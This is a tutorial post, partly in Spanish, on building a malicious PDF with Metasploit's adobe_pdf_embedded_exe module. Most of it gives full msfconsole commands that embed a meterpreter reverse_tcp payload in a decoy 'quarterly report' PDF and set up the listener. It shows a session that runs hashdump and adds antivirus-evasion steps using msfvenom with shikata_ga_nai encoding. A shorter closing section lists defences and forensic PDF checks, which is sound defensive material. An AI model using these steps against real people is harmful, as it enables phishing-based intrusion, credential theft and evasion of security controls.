Embed executable inside an Adobe PDF file

The files PDF They have historically been one of the most effective attack vectors in social engineering campaigns. The ability to embed executables within seemingly legitimate PDF documents makes this format a dangerous tool when combined with vulnerabilities in PDF readers. The module adobe_pdf_embedded_exe Metasploit automates this process, allowing the generation of malicious PDF documents that execute arbitrary code on the victim's system.

How the attack works

The module windows/fileformat/adobe_pdf_embedded_exe takes advantage of legitimate Adobe Reader functionality that allows you to run attachments within a PDF. The process is divided into several phases:

1. Injection — The module takes an existing legitimate PDF as a template and embeds an executable (the payload) as an attachment.
2. Social engineering — When you open the PDF, Adobe Reader displays a dialog box asking for permission to run the attached file. Dialog text can be customized to fool the user.
3. Execution — If the user accepts, the executable is extracted to a temporary directory and run with the current user's privileges.
4. Post-exploitation — The payload establishes a Meterpreter session (or the configured connection) back to the attacker.

Module Description

These are the technical details of the module in Metasploit:

Nombre:       Adobe PDF Embedded EXE Social Engineering
Módulo:       exploit/windows/fileformat/adobe_pdf_embedded_exe
Plataforma:   Windows
Rango:        Excellent
Objetivos:    Adobe Reader v8.x, v9.x
Tipo:         Ingeniería social (requiere interacción del usuario)

Unlike exploits that exploit memory corruption vulnerabilities, this module depends entirely on the social engineering- Requires the user to explicitly agree to run the attachment. This makes it independent of specific security patches as it exploits legitimate PDF reader functionality.

Generation of malicious PDF

The process in Metasploit consists of selecting the module, configuring a legitimate PDF as a template, choosing a payload and generating the resulting file:

# Iniciar Metasploit Framework
msfconsole

# Seleccionar el módulo
msf> use windows/fileformat/adobe_pdf_embedded_exe

# Ver las opciones disponibles
msf exploit(adobe_pdf_embedded_exe)> show options

# Configurar el PDF plantilla (un documento legítimo)
msf exploit(adobe_pdf_embedded_exe)> set INFILENAME /ruta/al/documento_legítimo.pdf

# Nombre del archivo PDF de salida
msf exploit(adobe_pdf_embedded_exe)> set FILENAME informe_trimestral.pdf

# Directorio de salida
msf exploit(adobe_pdf_embedded_exe)> set OUTPUTPATH /tmp/

# Configurar el payload
msf exploit(adobe_pdf_embedded_exe)> set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(adobe_pdf_embedded_exe)> set LHOST 192.168.1.100
msf exploit(adobe_pdf_embedded_exe)> set LPORT 4444

# Generar el PDF
msf exploit(adobe_pdf_embedded_exe)> exploit

The module parses the original PDF, injects the payload as an embedded attachment and generates a new PDF that maintains the visual content of the original document. When the victim opens it, they see the legitimate document but Adobe Reader asks for permission to run the attached file.

Listener configuration

Before sending the PDF to the victim, it is necessary to configure a handler that receives the reverse connection:

# Configurar el handler para recibir la conexión
msf> use exploit/multi/handler
msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 192.168.1.100
msf exploit(handler)> set LPORT 4444
msf exploit(handler)> exploit -j

# Cuando la víctima abra el PDF y acepte el diálogo:
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.50:49152)

meterpreter> sysinfo
meterpreter> getuid
meterpreter> hashdump

Antivirus evasion techniques

The default generated PDF has a relatively low detection rate, but can be improved with additional techniques:

• encoder — Use encoders like shikata_ga_nai with multiple iterations to obfuscate the payload: set EnableStageEncoding true and set StageEncoder x86/shikata_ga_nai.
• Custom executable — Instead of the standard Metasploit payload, generate a custom executable with msfvenom and use the option EXENAME to embed it.
• Legit template — Using a real PDF with content relevant to the context of the attack increases credibility.
• Digital signature — In targeted attacks, the PDF could be signed with a certificate (although this adds complexity).

# Generar un ejecutable personalizado con múltiples capas de encoding
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 \
  -f exe -o /tmp/custom_payload.exe

# Usar el ejecutable personalizado en el módulo PDF
msf exploit(adobe_pdf_embedded_exe)> set EXENAME /tmp/custom_payload.exe

Countermeasures and defense

From a defensive perspective, there are multiple layers of protection against these types of attacks:

• Disable JavaScript in Adobe Reader — Edit > Preferences > JavaScript > uncheck "Enable Acrobat JavaScript".
• Activate Protected Mode — Adobe Reader X and later include a sandbox that significantly limits the ability to execute code.
• Use alternative PDF readers — Readers such as Evince, Okular or SumatraPDF do not support the functionalities exploited by this module.
• Group Policies (GPO) — In corporate environments, configure policies that block the execution of PDF attachments.
• Document Sandbox — Open PDFs from untrusted sources in an isolated environment (VM, container or service like Dangerzone).
• Detection in mail — Configure the mail gateway to analyze and disarm PDF attachments (Content Disarm and Reconstruction).
• User training — Teach users not to accept unexpected run dialogs when opening documents.

forensic detection

To analyze a suspicious PDF without running it, specialized tools can be used:

# Analizar la estructura del PDF con pdfid (Didier Stevens)
pdfid sospechoso.pdf

# Buscar objetos embebidos y streams sospechosos
pdf-parser --stats sospechoso.pdf

# Extraer JavaScript embebido
pdf-parser --type /JS sospechoso.pdf

# Analizar con peepdf (framework de análisis PDF)
peepdf -f sospechoso.pdf

# Verificar con YARA rules específicas para PDF maliciosos
yara pdf_malware.yar sospechoso.pdf

The key indicators to look for are: objects /Launch, /EmbeddedFile, streams encoded in /FlateDecode with executable content, and references to /JavaScript either /OpenAction that trigger automatic actions when opening the document.

This type of attack is still relevant in targeted spear-phishing campaigns, where the attacker customizes the document for a specific target. The best defense combines technical controls (sandbox, CDR, endpoint protection) with user awareness.

:wq!